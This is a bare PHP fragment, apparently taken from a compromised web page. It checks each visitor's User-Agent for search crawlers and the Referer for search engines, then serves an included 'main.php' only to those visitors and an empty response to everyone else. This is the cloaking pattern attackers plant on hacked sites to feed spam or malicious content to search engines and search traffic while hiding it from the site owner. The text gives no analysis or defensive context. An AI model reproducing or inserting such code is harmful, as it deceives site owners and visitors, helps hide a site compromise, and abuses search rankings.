$flag = false; $tmp = $_SERVER['HTTP_USER_AGENT']; if (stripos ($tmp, 'google') !== false || stripos ($tmp, 'yahoo') !== false || stripos ($tmp, 'msn') !== false || strpos ($tmp, 'sqworm') !== false) { $flag = true; } if($flag == false){ echo (""); } else { echo (include("main.php")); exit; } ?> $rflag = false; $ref = $_SERVER['HTTP_REFERER']; if (stripos ($ref, 'google') !== false || stripos ($ref, 'yahoo') !== false || stripos ($ref, 'bing') !== false || stripos ($ref, 'aol') !== false) { $rflag = 1; } if($rflag == false){ echo (""); } else { echo (include("main.php")); exit; } ?>